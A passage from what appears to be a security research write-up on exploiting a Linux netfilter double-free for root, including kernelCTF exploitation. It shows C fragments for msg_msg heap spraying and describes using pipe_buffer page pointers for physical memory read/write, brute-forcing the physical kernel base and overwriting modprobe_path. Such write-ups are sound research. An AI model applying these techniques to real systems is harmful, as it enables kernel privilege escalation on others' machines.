0x66];\n",{"type":22,"tag":118,"props":59199,"children":59200},{"class":120,"line":425},[59201],{"type":22,"tag":118,"props":59202,"children":59203},{"emptyLinePlaceholder":15},[59204],{"type":28,"value":250},{"type":22,"tag":118,"props":59206,"children":59207},{"class":120,"line":441},[59208],{"type":22,"tag":118,"props":59209,"children":59210},{"style":257},[59211],{"type":28,"value":59212},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":22,"tag":118,"props":59214,"children":59215},{"class":120,"line":475},[59216,59220,59224,59228,59232,59236,59240,59244,59248,59252],{"type":22,"tag":118,"props":59217,"children":59218},{"style":204},[59219],{"type":28,"value":58110},{"type":22,"tag":118,"props":59221,"children":59222},{"style":125},[59223],{"type":28,"value":58625},{"type":22,"tag":118,"props":59225,"children":59226},{"style":210},[59227],{"type":28,"value":53210},{"type":22,"tag":118,"props":59229,"children":59230},{"style":125},[59231],{"type":28,"value":10663},{"type":22,"tag":118,"props":59233,"children":59234},{"style":210},[59235],{"type":28,"value":282},{"type":22,"tag":118,"props":59237,"children":59238},{"style":125},[59239],{"type":28,"value":58131},{"type":22,"tag":118,"props":59241,"children":59242},{"style":210},[59243],{"type":28,"value":3220},{"type":22,"tag":118,"props":59245,"children":59246},{"style":674},[59247],{"type":28,"value":59088},{"type":22,"tag":118,"props":59249,"children":59250},{"style":125},[59251],{"type":28,"value":51014},{"type":22,"tag":118,"props":59253,"children":59254},{"style":257},[59255],{"type":28,"value":59097},{"type":22,"tag":118,"props":59257,"children":59258},{"class":120,"line":484},[59259,59263,59267,59271,59275,59279,59283,59287],{"type":22,"tag":118,"props":59260,"children":59261},{"style":204},[59262],{"type":28,"value":58110},{"type":22,"tag":118,"props":59264,"children":59265},{"style":125},[59266],{"type":28,"value":58625},{"type":22,"tag":118,"props":59268,"children":59269},{"style":210},[59270],{"type":28,"value":53210},{"type":22,"tag":118,"props":59272,"children":59273},{"style":125},[59274],{"type":28,"value":10663},{"type":22,"tag":118,"props":59276,"children":59277},{"style":210},[59278],{"type":28,"value":282},{"type":22,"tag":118,"props":59280,"children":59281},{"style":125},[59282],{"type":28,"value":58131},{"type":22,"tag":118,"props":59284,"children":59285},{"style":210},[59286],{"type":28,"value":3220},{"type":22,"tag":118,"props":59288,"children":59289},{"style":125},[59290],{"type":28,"value":59291}," INIT_NSPROXY;\n",{"type":22,"tag":118,"props":59293,"children":59294},{"class":120,"line":492},[59295,59299,59303,59307,59311,59315,59319,59323],{"type":22,"tag":118,"props":59296,"children":59297},{"style":204},[59298],{"type":28,"value":58110},{"type":22,"tag":118,"props":59300,"children":59301},{"style":125},[59302],{"type":28,"value":58625},{"type":22,"tag":118,"props":59304,"children":59305},{"style":210},[59306],{"type":28,"value":53210},{"type":22,"tag":118,"props":59308,"children":59309},{"style":125},[59310],{"type":28,"value":10663},{"type":22,"tag":118,"props":59312,"children":59313},{"style":210},[59314],{"type":28,"value":282},{"type":22,"tag":118,"props":59316,"children":59317},{"style":125},[59318],{"type":28,"value":58131},{"type":22,"tag":118,"props":59320,"children":59321},{"style":210},[59322],{"type":28,"value":3220},{"type":22,"tag":118,"props":59324,"children":59325},{"style":125},[59326],{"type":28,"value":59327}," SWITCH_TASK_NAMESPACES;\n",{"type":22,"tag":118,"props":59329,"children":59330},{"class":120,"line":501},[59331],{"type":22,"tag":118,"props":59332,"children":59333},{"style":125},[59334],{"type":28,"value":12317},{"type":22,"tag":1289,"props":59336,"children":59338},{"id":59337},"grabbing-the-kernelctf-flag",[59339],{"type":28,"value":59340},"Grabbing the kernelCTF flag",{"type":22,"tag":31,"props":59342,"children":59343},{},[59344,59348,59350,59357],{"type":22,"tag":5928,"props":59345,"children":59347},{"alt":52519,"src":59346},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":59349},"\nYou can find the kernelCTF exploit in our ",{"type":22,"tag":42,"props":59351,"children":59354},{"href":59352,"rel":59353},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[46],[59355],{"type":28,"value":59356},"GitHub",{"type":28,"value":292},{"type":22,"tag":23,"props":59359,"children":59361},{"id":59360},"universal-exploit",[59362],{"type":28,"value":59363},"Universal exploit",{"type":22,"tag":31,"props":59365,"children":59366},{},[59367],{"type":28,"value":59368},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":22,"tag":1289,"props":59370,"children":59372},{"id":59371},"pivot-capability-using-msg_msg-mlistnext-pointer",[59373],{"type":28,"value":59374},"Pivot capability using msg_msg->mlist.next pointer",{"type":22,"tag":31,"props":59376,"children":59377},{},[59378,59380,59386,59388,59393,59395,59401],{"type":28,"value":59379},"Using the double-free vulnerability we can overlap a ",{"type":22,"tag":114,"props":59381,"children":59383},{"className":59382},[],[59384],{"type":28,"value":59385},"msg_msg",{"type":28,"value":59387}," object with with ",{"type":22,"tag":114,"props":59389,"children":59391},{"className":59390},[],[59392],{"type":28,"value":57040},{"type":28,"value":59394}," and control the ",{"type":22,"tag":114,"props":59396,"children":59398},{"className":59397},[],[59399],{"type":28,"value":59400},"m_list.next",{"type":28,"value":59402}," pointer.",{"type":22,"tag":107,"props":59404,"children":59406},{"className":31048,"code":59405,"language":31050,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[59407],{"type":22,"tag":114,"props":59408,"children":59409},{"__ignoreMap":7},[59410,59418,59434,59455,59468,59486,59511,59527,59535,59542,59549,59557,59589],{"type":22,"tag":118,"props":59411,"children":59412},{"class":120,"line":121},[59413],{"type":22,"tag":118,"props":59414,"children":59415},{"style":257},[59416],{"type":28,"value":59417},"/* one msg_msg structure for each message */\n",{"type":22,"tag":118,"props":59419,"children":59420},{"class":120,"line":142},[59421,59425,59430],{"type":22,"tag":118,"props":59422,"children":59423},{"style":146},[59424],{"type":28,"value":11399},{"type":22,"tag":118,"props":59426,"children":59427},{"style":131},[59428],{"type":28,"value":59429}," msg_msg",{"type":22,"tag":118,"props":59431,"children":59432},{"style":125},[59433],{"type":28,"value":1474},{"type":22,"tag":118,"props":59435,"children":59436},{"class":120,"line":177},[59437,59441,59446,59451],{"type":22,"tag":118,"props":59438,"children":59439},{"style":146},[59440],{"type":28,"value":154},{"type":22,"tag":118,"props":59442,"children":59443},{"style":131},[59444],{"type":28,"value":59445}," list_head",{"type":22,"tag":118,"props":59447,"children":59448},{"style":204},[59449],{"type":28,"value":59450}," m_list",{"type":22,"tag":118,"props":59452,"children":59453},{"style":125},[59454],{"type":28,"value":801},{"type":22,"tag":118,"props":59456,"children":59457},{"class":120,"line":195},[59458,59463],{"type":22,"tag":118,"props":59459,"children":59460},{"style":146},[59461],{"type":28,"value":59462}," long",{"type":22,"tag":118,"props":59464,"children":59465},{"style":125},[59466],{"type":28,"value":59467}," m_type;\n",{"type":22,"tag":118,"props":59469,"children":59470},{"class":120,"line":244},[59471,59476,59481],{"type":22,"tag":118,"props":59472,"children":59473},{"style":146},[59474],{"type":28,"value":59475}," size_t",{"type":22,"tag":118,"props":59477,"children":59478},{"style":125},[59479],{"type":28,"value":59480}," m_ts;",{"type":22,"tag":118,"props":59482,"children":59483},{"style":257},[59484],{"type":28,"value":59485},"  /* message text size */\n",{"type":22,"tag":118,"props":59487,"children":59488},{"class":120,"line":253},[59489,59493,59498,59502,59507],{"type":22,"tag":118,"props":59490,"children":59491},{"style":146},[59492],{"type":28,"value":154},{"type":22,"tag":118,"props":59494,"children":59495},{"style":131},[59496],{"type":28,"value":59497}," msg_msgseg",{"type":22,"tag":118,"props":59499,"children":59500},{"style":146},[59501],{"type":28,"value":11815},{"type":22,"tag":118,"props":59503,"children":59504},{"style":204},[59505],{"type":28,"value":59506},"next",{"type":22,"tag":118,"props":59508,"children":59509},{"style":125},[59510],{"type":28,"value":801},{"type":22,"tag":118,"props":59512,"children":59513},{"class":120,"line":263},[59514,59518,59522],{"type":22,"tag":118,"props":59515,"children":59516},{"style":146},[59517],{"type":28,"value":52990},{"type":22,"tag":118,"props":59519,"children":59520},{"style":210},[59521],{"type":28,"value":11815},{"type":22,"tag":118,"props":59523,"children":59524},{"style":125},[59525],{"type":28,"value":59526},"security;\n",{"type":22,"tag":118,"props":59528,"children":59529},{"class":120,"line":318},[59530],{"type":22,"tag":118,"props":59531,"children":59532},{"style":257},[59533],{"type":28,"value":59534}," /* the actual message follows immediately */\n",{"type":22,"tag":118,"props":59536,"children":59537},{"class":120,"line":351},[59538],{"type":22,"tag":118,"props":59539,"children":59540},{"style":125},[59541],{"type":28,"value":4277},{"type":22,"tag":118,"props":59543,"children":59544},{"class":120,"line":359},[59545],{"type":22,"tag":118,"props":59546,"children":59547},{"style":125},[59548],{"type":28,"value":12317},{"type":22,"tag":118,"props":59550,"children":59551},{"class":120,"line":368},[59552],{"type":22,"tag":118,"props":59553,"children":59554},{"style":125},[59555],{"type":28,"value":59556},"struct list_head {\n",{"type":22,"tag":118,"props":59558,"children":59559},{"class":120,"line":384},[59560,59564,59568,59572,59576,59580,59584],{"type":22,"tag":118,"props":59561,"children":59562},{"style":146},[59563],{"type":28,"value":154},{"type":22,"tag":118,"props":59565,"children":59566},{"style":131},[59567],{"type":28,"value":59445},{"type":22,"tag":118,"props":59569,"children":59570},{"style":146},[59571],{"type":28,"value":11815},{"type":22,"tag":118,"props":59573,"children":59574},{"style":204},[59575],{"type":28,"value":59506},{"type":22,"tag":118,"props":59577,"children":59578},{"style":125},[59579],{"type":28,"value":231},{"type":22,"tag":118,"props":59581,"children":59582},{"style":210},[59583],{"type":28,"value":671},{"type":22,"tag":118,"props":59585,"children":59586},{"style":125},[59587],{"type":28,"value":59588},"prev;\n",{"type":22,"tag":118,"props":59590,"children":59591},{"class":120,"line":417},[59592],{"type":22,"tag":118,"props":59593,"children":59594},{"style":125},[59595],{"type":28,"value":4277},{"type":22,"tag":31,"props":59597,"children":59598},{},[59599,59601,59607,59609,59614],{"type":28,"value":59600},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":22,"tag":114,"props":59602,"children":59604},{"className":59603},[],[59605],{"type":28,"value":59606},"mlist.next",{"type":28,"value":59608}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":22,"tag":114,"props":59610,"children":59612},{"className":59611},[],[59613],{"type":28,"value":59385},{"type":28,"value":59615}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":22,"tag":31,"props":59617,"children":59618},{},[59619,59621,59626,59628],{"type":28,"value":59620},"By incrementing the next pointer of our controllable ",{"type":22,"tag":114,"props":59622,"children":59624},{"className":59623},[],[59625],{"type":28,"value":59385},{"type":28,"value":59627}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":22,"tag":5928,"props":59629,"children":59631},{"alt":52519,"src":59630},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":22,"tag":107,"props":59633,"children":59635},{"className":31048,"code":59634,"language":31050,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[59636],{"type":22,"tag":114,"props":59637,"children":59638},{"__ignoreMap":7},[59639,59646,59654,59680,59697,59745,59752,59792,59824,59831,59852,59859,59906,59970,59996,60042,60066,60110,60117,60125,60161,60185,60192,60212,60219],{"type":22,"tag":118,"props":59640,"children":59641},{"class":120,"line":121},[59642],{"type":22,"tag":118,"props":59643,"children":59644},{"style":125},[59645],{"type":28,"value":12317},{"type":22,"tag":118,"props":59647,"children":59648},{"class":120,"line":142},[59649],{"type":22,"tag":118,"props":59650,"children":59651},{"style":125},[59652],{"type":28,"value":59653},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":22,"tag":118,"props":59655,"children":59656},{"class":120,"line":177},[59657,59662,59666,59670,59675],{"type":22,"tag":118,"props":59658,"children":59659},{"style":125},[59660],{"type":28,"value":59661},"    msg_t *msg = calloc(1, ",{"type":22,"tag":118,"props":59663,"children":59664},{"style":131},[59665],{"type":28,"value":57269},{"type":22,"tag":118,"props":59667,"children":59668},{"style":125},[59669],{"type":28,"value":540},{"type":22,"tag":118,"props":59671,"children":59672},{"style":131},[59673],{"type":28,"value":59674},"msg_t",{"type":22,"tag":118,"props":59676,"children":59677},{"style":125},[59678],{"type":28,"value":59679},") + 0xe8 - 48);\n",{"type":22,"tag":118,"props":59681,"children":59682},{"class":120,"line":195},[59683,59687,59692],{"type":22,"tag":118,"props":59684,"children":59685},{"style":146},[59686],{"type":28,"value":21044},{"type":22,"tag":118,"props":59688,"children":59689},{"style":204},[59690],{"type":28,"value":59691}," qid",{"type":22,"tag":118,"props":59693,"children":59694},{"style":125},[59695],{"type":28,"value":59696},"[SPRAY];\n",{"type":22,"tag":118,"props":59698,"children":59699},{"class":120,"line":244},[59700,59704,59708,59712,59716,59720,59724,59728,59732,59737,59741],{"type":22,"tag":118,"props":59701,"children":59702},{"style":1480},[59703],{"type":28,"value":5059},{"type":22,"tag":118,"props":59705,"children":59706},{"style":125},[59707],{"type":28,"value":842},{"type":22,"tag":118,"props":59709,"children":59710},{"style":146},[59711],{"type":28,"value":21014},{"type":22,"tag":118,"props":59713,"children":59714},{"style":125},[59715],{"type":28,"value":56485},{"type":22,"tag":118,"props":59717,"children":59718},{"style":210},[59719],{"type":28,"value":282},{"type":22,"tag":118,"props":59721,"children":59722},{"style":674},[59723],{"type":28,"value":5074},{"type":22,"tag":118,"props":59725,"children":59726},{"style":125},[59727],{"type":28,"value":53174},{"type":22,"tag":118,"props":59729,"children":59730},{"style":210},[59731],{"type":28,"value":559},{"type":22,"tag":118,"props":59733,"children":59734},{"style":125},[59735],{"type":28,"value":59736}," SPRAY; i",{"type":22,"tag":118,"props":59738,"children":59739},{"style":210},[59740],{"type":28,"value":53210},{"type":22,"tag":118,"props":59742,"children":59743},{"style":125},[59744],{"type":28,"value":3665},{"type":22,"tag":118,"props":59746,"children":59747},{"class":120,"line":253},[59748],{"type":22,"tag":118,"props":59749,"children":59750},{"style":125},[59751],{"type":28,"value":31125},{"type":22,"tag":118,"props":59753,"children":59754},{"class":120,"line":263},[59755,59760,59764,59768,59773,59778,59783,59787],{"type":22,"tag":118,"props":59756,"children":59757},{"style":204},[59758],{"type":28,"value":59759},"        qid",{"type":22,"tag":118,"props":59761,"children":59762},{"style":125},[59763],{"type":28,"value":56537},{"type":22,"tag":118,"props":59765,"children":59766},{"style":210},[59767],{"type":28,"value":282},{"type":22,"tag":118,"props":59769,"children":59770},{"style":532},[59771],{"type":28,"value":59772}," msgget",{"type":22,"tag":118,"props":59774,"children":59775},{"style":125},[59776],{"type":28,"value":59777},"(IPC_PRIVATE, ",{"type":22,"tag":118,"props":59779,"children":59780},{"style":674},[59781],{"type":28,"value":59782},"0666",{"type":22,"tag":118,"props":59784,"children":59785},{"style":210},[59786],{"type":28,"value":1513},{"type":22,"tag":118,"props":59788,"children":59789},{"style":125},[59790],{"type":28,"value":59791}," IPC_CREAT);\n",{"type":22,"tag":118,"props":59793,"children":59794},{"class":120,"line":318},[59795,59799,59803,59808,59812,59816,59820],{"type":22,"tag":118,"props":59796,"children":59797},{"style":1480},[59798],{"type":28,"value":5293},{"type":22,"tag":118,"props":59800,"children":59801},{"style":125},[59802],{"type":28,"value":842},{"type":22,"tag":118,"props":59804,"children":59805},{"style":204},[59806],{"type":28,"value":59807},"qid",{"type":22,"tag":118,"props":59809,"children":59810},{"style":125},[59811],{"type":28,"value":56537},{"type":22,"tag":118,"props":59813,"children":59814},{"style":210},[59815],{"type":28,"value":559},{"type":22,"tag":118,"props":59817,"children":59818},{"style":674},[59819],{"type":28,"value":5074},{"type":22,"tag":118,"props":59821,"children":59822},{"style":125},[59823],{"type":28,"value":3665},{"type":22,"tag":118,"props":59825,"children":59826},{"class":120,"line":351},[59827],{"type":22,"tag":118,"props":59828,"children":59829},{"style":125},[59830],{"type":28,"value":33598},{"type":22,"tag":118,"props":59832,"children":59833},{"class":120,"line":359},[59834,59839,59843,59848],{"type":22,"tag":118,"props":59835,"children":59836},{"style":532},[59837],{"type":28,"value":59838},"            perror",{"type":22,"tag":118,"props":59840,"children":59841},{"style":125},[59842],{"type":28,"value":540},{"type":22,"tag":118,"props":59844,"children":59845},{"style":1866},[59846],{"type":28,"value":59847},"\"[-] msgget\"",{"type":22,"tag":118,"props":59849,"children":59850},{"style":125},[59851],{"type":28,"value":682},{"type":22,"tag":118,"props":59853,"children":59854},{"class":120,"line":368},[59855],{"type":22,"tag":118,"props":59856,"children":59857},{"style":125},[59858],{"type":28,"value":1835},{"type":22,"tag":118,"props":59860,"children":59861},{"class":120,"line":384},[59862,59866,59870,59875,59879,59883,59888,59892,59897,59901],{"type":22,"tag":118,"props":59863,"children":59864},{"style":210},[59865],{"type":28,"value":9756},{"type":22,"tag":118,"props":59867,"children":59868},{"style":125},[59869],{"type":28,"value":540},{"type":22,"tag":118,"props":59871,"children":59872},{"style":146},[59873],{"type":28,"value":59874},"uint32_t",{"type":22,"tag":118,"props":59876,"children":59877},{"style":210},[59878],{"type":28,"value":11815},{"type":22,"tag":118,"props":59880,"children":59881},{"style":125},[59882],{"type":28,"value":3627},{"type":22,"tag":118,"props":59884,"children":59885},{"style":204},[59886],{"type":28,"value":59887},"msg",{"type":22,"tag":118,"props":59889,"children":59890},{"style":125},[59891],{"type":28,"value":593},{"type":22,"tag":118,"props":59893,"children":59894},{"style":204},[59895],{"type":28,"value":59896},"mtext",{"type":22,"tag":118,"props":59898,"children":59899},{"style":210},[59900],{"type":28,"value":837},{"type":22,"tag":118,"props":59902,"children":59903},{"style":125},[59904],{"type":28,"value":59905}," i;\n",{"type":22,"tag":118,"props":59907,"children":59908},{"class":120,"line":417},[59909,59913,59917,59921,59925,59929,59933,59937,59941,59945,59949,59953,59957,59961,59966],{"type":22,"tag":118,"props":59910,"children":59911},{"style":210},[59912],{"type":28,"value":9756},{"type":22,"tag":118,"props":59914,"children":59915},{"style":125},[59916],{"type":28,"value":540},{"type":22,"tag":118,"props":59918,"children":59919},{"style":146},[59920],{"type":28,"value":57575},{"type":22,"tag":118,"props":59922,"children":59923},{"style":210},[59924],{"type":28,"value":11815},{"type":22,"tag":118,"props":59926,"children":59927},{"style":125},[59928],{"type":28,"value":3627},{"type":22,"tag":118,"props":59930,"children":59931},{"style":210},[59932],{"type":28,"value":1407},{"type":22,"tag":118,"props":59934,"children":59935},{"style":204},[59936],{"type":28,"value":59887},{"type":22,"tag":118,"props":59938,"children":59939},{"style":125},[59940],{"type":28,"value":593},{"type":22,"tag":118,"props":59942,"children":59943},{"style":204},[59944],{"type":28,"value":59896},{"type":22,"tag":118,"props":59946,"children":59947},{"style":125},[59948],{"type":28,"value":5746},{"type":22,"tag":118,"props":59950,"children":59951},{"style":674},[59952],{"type":28,"value":6090},{"type":22,"tag":118,"props":59954,"children":59955},{"style":125},[59956],{"type":28,"value":10663},{"type":22,"tag":118,"props":59958,"children":59959},{"style":210},[59960],{"type":28,"value":282},{"type":22,"tag":118,"props":59962,"children":59963},{"style":674},[59964],{"type":28,"value":59965}," 0xdeadbeefcafebabe",{"type":22,"tag":118,"props":59967,"children":59968},{"style":125},[59969],{"type":28,"value":801},{"type":22,"tag":118,"props":59971,"children":59972},{"class":120,"line":425},[59973,59978,59982,59987,59991],{"type":22,"tag":118,"props":59974,"children":59975},{"style":204},[59976],{"type":28,"value":59977},"        msg",{"type":22,"tag":118,"props":59979,"children":59980},{"style":125},[59981],{"type":28,"value":593},{"type":22,"tag":118,"props":59983,"children":59984},{"style":204},[59985],{"type":28,"value":59986},"mtype",{"type":22,"tag":118,"props":59988,"children":59989},{"style":210},[59990],{"type":28,"value":837},{"type":22,"tag":118,"props":59992,"children":59993},{"style":125},[59994],{"type":28,"value":59995}," MTYPE_PRIMARY;\n",{"type":22,"tag":118,"props":59997,"children":59998},{"class":120,"line":441},[59999,60004,60008,60012,60017,60021,60025,60030,60034,60038],{"type":22,"tag":118,"props":60000,"children":60001},{"style":532},[60002],{"type":28,"value":60003},"        msgsnd",{"type":22,"tag":118,"props":60005,"children":60006},{"style":125},[60007],{"type":28,"value":540},{"type":22,"tag":118,"props":60009,"children":60010},{"style":204},[60011],{"type":28,"value":59807},{"type":22,"tag":118,"props":60013,"children":60014},{"style":125},[60015],{"type":28,"value":60016},"[i], msg, ",{"type":22,"tag":118,"props":60018,"children":60019},{"style":674},[60020],{"type":28,"value":57912},{"type":22,"tag":118,"props":60022,"children":60023},{"style":210},[60024],{"type":28,"value":53196},{"type":22,"tag":118,"props":60026,"children":60027},{"style":674},[60028],{"type":28,"value":60029}," 48",{"type":22,"tag":118,"props":60031,"children":60032},{"style":125},[60033],{"type":28,"value":231},{"type":22,"tag":118,"props":60035,"children":60036},{"style":674},[60037],{"type":28,"value":6036},{"type":22,"tag":118,"props":60039,"children":60040},{"style":125},[60041],{"type":28,"value":682},{"type":22,"tag":118,"props":60043,"children":60044},{"class":120,"line":475},[60045,60049,60053,60057,60061],{"type":22,"tag":118,"props":60046,"children":60047},{"style":204},[60048],{"type":28,"value":59977},{"type":22,"tag":118,"props":60050,"children":60051},{"style":125},[60052],{"type":28,"value":593},{"type":22,"tag":118,"props":60054,"children":60055},{"style":204},[60056],{"type":28,"value":59986},{"type":22,"tag":118,"props":60058,"children":60059},{"style":210},[60060],{"type":28,"value":837},{"type":22,"tag":118,"props":60062,"children":60063},{"style":125},[60064],{"type":28,"value":60065}," MTYPE_SECONDARY;\n",{"type":22,"tag":118,"props":60067,"children":60068},{"class":120,"line":484},[60069,60073,60077,60081,60085,60090,60094,60098,60102,60106],{"type":22,"tag":118,"props":60070,"children":60071},{"style":532},[60072],{"type":28,"value":60003},{"type":22,"tag":118,"props":60074,"children":60075},{"style":125},[60076],{"type":28,"value":540},{"type":22,"tag":118,"props":60078,"children":60079},{"style":204},[60080],{"type":28,"value":59807},{"type":22,"tag":118,"props":60082,"children":60083},{"style":125},[60084],{"type":28,"value":60016},{"type":22,"tag":118,"props":60086,"children":60087},{"style":674},[60088],{"type":28,"value":60089},"1024",{"type":22,"tag":118,"props":60091,"children":60092},{"style":210},[60093],{"type":28,"value":53196},{"type":22,"tag":118,"props":60095,"children":60096},{"style":674},[60097],{"type":28,"value":60029},{"type":22,"tag":118,"props":60099,"children":60100},{"style":125},[60101],{"type":28,"value":231},{"type":22,"tag":118,"props":60103,"children":60104},{"style":674},[60105],{"type":28,"value":6036},{"type":22,"tag":118,"props":60107,"children":60108},{"style":125},[60109],{"type":28,"value":682},{"type":22,"tag":118,"props":60111,"children":60112},{"class":120,"line":492},[60113],{"type":22,"tag":118,"props":60114,"children":60115},{"style":125},[60116],{"type":28,"value":1254},{"type":22,"tag":118,"props":60118,"children":60119},{"class":120,"line":501},[60120],{"type":22,"tag":118,"props":60121,"children":60122},{"style":257},[60123],{"type":28,"value":60124},"    // Prepare evil msg\n",{"type":22,"tag":118,"props":60126,"children":60127},{"class":120,"line":519},[60128,60132,60137,60141,60145,60149,60153,60157],{"type":22,"tag":118,"props":60129,"children":60130},{"style":146},[60131],{"type":28,"value":21044},{"type":22,"tag":118,"props":60133,"children":60134},{"style":125},[60135],{"type":28,"value":60136}," evilqid ",{"type":22,"tag":118,"props":60138,"children":60139},{"style":210},[60140],{"type":28,"value":282},{"type":22,"tag":118,"props":60142,"children":60143},{"style":532},[60144],{"type":28,"value":59772},{"type":22,"tag":118,"props":60146,"children":60147},{"style":125},[60148],{"type":28,"value":59777},{"type":22,"tag":118,"props":60150,"children":60151},{"style":674},[60152],{"type":28,"value":59782},{"type":22,"tag":118,"props":60154,"children":60155},{"style":210},[60156],{"type":28,"value":1513},{"type":22,"tag":118,"props":60158,"children":60159},{"style":125},[60160],{"type":28,"value":59791},{"type":22,"tag":118,"props":60162,"children":60163},{"class":120,"line":606},[60164,60168,60173,60177,60181],{"type":22,"tag":118,"props":60165,"children":60166},{"style":1480},[60167],{"type":28,"value":2159},{"type":22,"tag":118,"props":60169,"children":60170},{"style":125},[60171],{"type":28,"value":60172}," (evilqid ",{"type":22,"tag":118,"props":60174,"children":60175},{"style":210},[60176],{"type":28,"value":559},{"type":22,"tag":118,"props":60178,"children":60179},{"style":674},[60180],{"type":28,"value":5074},{"type":22,"tag":118,"props":60182,"children":60183},{"style":125},[60184],{"type":28,"value":3665},{"type":22,"tag":118,"props":60186,"children":60187},{"class":120,"line":615},[60188],{"type":22,"tag":118,"props":60189,"children":60190},{"style":125},[60191],{"type":28,"value":31125},{"type":22,"tag":118,"props":60193,"children":60194},{"class":120,"line":685},[60195,60200,60204,60208],{"type":22,"tag":118,"props":60196,"children":60197},{"style":532},[60198],{"type":28,"value":60199},"        perror",{"type":22,"tag":118,"props":60201,"children":60202},{"style":125},[60203],{"type":28,"value":540},{"type":22,"tag":118,"props":60205,"children":60206},{"style":1866},[60207],{"type":28,"value":59847},{"type":22,"tag":118,"props":60209,"children":60210},{"style":125},[60211],{"type":28,"value":682},{"type":22,"tag":118,"props":60213,"children":60214},{"class":120,"line":699},[60215],{"type":22,"tag":118,"props":60216,"children":60217},{"style":125},[60218],{"type":28,"value":1254},{"type":22,"tag":118,"props":60220,"children":60221},{"class":120,"line":729},[60222],{"type":22,"tag":118,"props":60223,"children":60224},{"style":125},[60225],{"type":28,"value":60226},"[...] // trigger double-free in kmalloc-256\n",{"type":22,"tag":1289,"props":60228,"children":60230},{"id":60229},"using-pipe_buffer-page-pointer-for-physical-readwrite",[60231],{"type":28,"value":60232},"Using pipe_buffer->page pointer for physical read/write",{"type":22,"tag":31,"props":60234,"children":60235},{},[60236,60238,60244,60245,60251,60252,60258,60260,60266],{"type":28,"value":60237},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":22,"tag":114,"props":60239,"children":60241},{"className":60240},[],[60242],{"type":28,"value":60243},"kmalloc-1k",{"type":28,"value":12991},{"type":22,"tag":114,"props":60246,"children":60248},{"className":60247},[],[60249],{"type":28,"value":60250},"overlap pipe_buffer",{"type":28,"value":23458},{"type":22,"tag":114,"props":60253,"children":60255},{"className":60254},[],[60256],{"type":28,"value":60257},"skbuf",{"type":28,"value":60259}," data to control the ",{"type":22,"tag":114,"props":60261,"children":60263},{"className":60262},[],[60264],{"type":28,"value":60265},"page",{"type":28,"value":60267}," field.",{"type":22,"tag":31,"props":60269,"children":60270},{},[60271,60272,60277,60279,60285,60287],{"type":28,"value":2743},{"type":22,"tag":114,"props":60273,"children":60275},{"className":60274},[],[60276],{"type":28,"value":60265},{"type":28,"value":60278}," field is a pointer into ",{"type":22,"tag":114,"props":60280,"children":60282},{"className":60281},[],[60283],{"type":28,"value":60284},"vmemmap_base",{"type":28,"value":60286},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":22,"tag":5928,"props":60288,"children":60290},{"alt":52519,"src":60289},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":22,"tag":31,"props":60292,"children":60293},{},[60294,60296,60301],{"type":28,"value":60295},"This now allows us to navigate the ",{"type":22,"tag":114,"props":60297,"children":60299},{"className":60298},[],[60300],{"type":28,"value":60284},{"type":28,"value":60302}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":22,"tag":1289,"props":60304,"children":60306},{"id":60305},"bruteforce-physical-kernel-base",[60307],{"type":28,"value":60308},"Bruteforce physical kernel base",{"type":22,"tag":31,"props":60310,"children":60311},{},[60312,60314,60320,60322,60327,60329,60335],{"type":28,"value":60313},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":22,"tag":114,"props":60315,"children":60317},{"className":60316},[],[60318],{"type":28,"value":60319},"modprobe_path",{"type":28,"value":60321},". Keep in mind that simply searching page by page from the start of ",{"type":22,"tag":114,"props":60323,"children":60325},{"className":60324},[],[60326],{"type":28,"value":60284},{"type":28,"value":60328}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":22,"tag":114,"props":60330,"children":60332},{"className":60331},[],[60333],{"type":28,"value":60334},"PHYSICAL_ALIGN",{"type":28,"value":60336}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":22,"tag":107,"props":60338,"children":60340},{"className":31048,"code":60339,"language":31050,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool 